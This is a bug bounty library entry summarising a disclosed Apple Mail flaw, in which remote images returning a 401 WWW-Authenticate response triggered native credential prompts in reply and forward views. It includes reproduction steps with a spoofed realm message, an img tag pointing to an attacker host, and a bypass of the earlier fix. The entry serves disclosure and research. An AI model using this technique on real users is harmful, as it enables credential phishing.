# Don’t Reply: A Clever Phishing Method In Apple’s Mail App

Apple Mail rendered WWW-Authenticate prompts from remote <img> URLs when replying/forwarding, letting attackers phish Apple credentials via a spoofed realm message.

- Payout: $5,000
- Severity: medium
- Program: Apple
- Credited: Jon Bottarini
- Disclosed: 2021-12-09
- Write-up quality: 6/10
- Original: https://jonbottarini.com/2021/12/09/dont-reply-a-clever-phishing-method-in-apples-mail-app/
- Library page: https://bugbountylibrary.com/r/blog%3Ajonbottarini-com-2021-12-09-dont-reply-a-clever-phishing-method-in-apples-mail-app
- Tags: domain:desktop impact:ato impact:pii-leak kind:bounty platform:blog sev:medium tech:email technique:incomplete-fix vuln:auth-bypass vuln:misconfiguration

**Target:** Apple Mail app (macOS) email compose/reply rendering of remote images
**Root cause:** Mail loaded remote image URLs that returned HTTP 401 with WWW-Authenticate, and rendered a native credential prompt (with attacker-controlled realm text) instead of blocking cross-origin auth prompts on image resources.
**Steps:**
1. Host a page returning `HTTP/1.1 401` with `WWW-Authenticate: Basic realm="You need to enter your Apple Mail password again!"`
2. Embed `<img src=https://attacker.tld/restricted.php></img>` in an HTML email
3. Send email to victim; prompt does not appear on initial view
4. Victim replies or forwards the email; Mail renders the img and shows the credential prompt
5. Victim enters credentials, which are sent to attacker server
**How found:** Sam Curry's observation that non-image content (WWW-Authenticate pages) can load inside <img> tags; Bottarini noticed a spam email that was just a large JPG evaded filters, hypothesizing a 401 'photo' would trigger a prompt in Mail.
**Exploitation:** Attacker sends HTML email with an <img> pointing to a 401 WWW-Authenticate endpoint; when the victim replies/forwards, Mail displays a native-looking auth dialog with attacker-controlled realm text and a plausible Apple-sounding domain, capturing entered credentials on the attacker server.
**Escalation:** Bypassed the October 2020 fix by embedding the image inside Apple Mail's 'email templates' feature.
**Insight:** Test whether email clients render remote resources in reply/forward compose views differently than read views; a 401 WWW-Authenticate response on an <img> can surface a native credential dialog with attacker-controlled realm text.